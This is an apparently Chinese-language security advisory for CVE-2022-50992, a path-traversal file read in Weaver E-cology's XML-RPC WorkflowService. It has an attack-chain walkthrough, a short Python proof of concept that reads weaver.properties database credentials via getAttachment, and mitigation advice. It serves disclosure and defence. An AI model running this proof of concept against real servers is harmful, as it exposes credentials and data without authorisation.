CVE-2022-50992 CVSS 7.5 高危

CVE-2022-50992 泛微E-cology任意文件读取漏洞

披露日期: 2026-04-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2022-50992

漏洞类型

任意文件读取

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

泛微E-cology (Weaver E-cology)

漏洞概述

泛微E-cology是国内广泛使用的协同办公OA系统。CVE-2022-50992是该系统中一个严重的安全漏洞，存在于XmlRpcServlet接口中。由于系统对WorkflowService组件的特定方法缺乏严格的权限校验和路径过滤，导致未经身份认证的远程攻击者可以读取服务器上的任意文件。攻击者可利用此漏洞获取敏感配置信息、数据库凭证等，进而威胁整个服务器的安全。

技术细节

该漏洞的技术原理在于泛微E-cology的XML-RPC服务组件未正确处理用户输入且缺乏访问控制。具体而言，系统暴露的`WorkflowService`接口中的`getAttachment`和`LoadTemplateProp`方法，在处理文件读取请求时，未对调用者进行身份验证，也未对文件路径参数进行安全过滤。攻击者可直接构造恶意的XML-RPC数据包发往服务器，在参数中利用路径遍历序列（如`../`）跳过Web根目录。通过指定绝对路径或相对路径，攻击者能够读取系统任意位置的敏感文件，包括`WEB-INF`下的配置文件、数据库连接信息等。由于利用过程无需交互且可通过网络直接发起，该漏洞具有极高的可利用性。

攻击链分析

STEP 1

侦察

攻击者通过端口扫描或资产测绘发现目标服务器运行泛微E-cology系统，并识别出开放的XML-RPC服务接口（通常为/services/WorkflowService）。

STEP 2

漏洞利用

攻击者向目标接口发送特制的XML-RPC请求，调用`getAttachment`或`LoadTemplateProp`方法，并在参数中注入包含路径遍历字符（如../）的文件路径。

STEP 3

数据窃取

服务器解析恶意请求并返回指定文件的内容。攻击者获取数据库配置文件（如weaver.properties）、密钥文件或其他敏感信息。

STEP 4

后续渗透

攻击者利用泄露的数据库凭证连接数据库，获取业务数据，或利用服务器信息进一步提权，控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import xmlrpc.client

# Target URL (replace with actual vulnerable host)
target_url = "http://target-ip/services/WorkflowService"

try:
    # Create an XML-RPC client proxy
    proxy = xmlrpc.client.ServerProxy(target_url)

    # Define the file path to read using path traversal
    # Example: Reading the database configuration file
    file_path = "../../WEB-INF/prop/weaver.properties"

    print(f"[*] Attempting to read: {file_path}")

    # Exploit the vulnerable getAttachment method
    # This method does not check authentication or path validity
    content = proxy.getAttachment(file_path)

    print("[+] Exploit successful! File content:")
    print(content)

except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Weaver E-cology < 10.52

防御指南

临时缓解措施

建议管理员立即检查系统版本，若受影响应尽快升级。在无法立即升级的情况下，应通过应用服务器配置（如Tomcat的web.xml）或网络安全设备（WAF、IPS），阻断对`/services/WorkflowService`及相关XML-RPC接口的访问请求，特别是拦截包含`../`或`WEB-INF`特征的恶意流量，以降低被攻击的风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表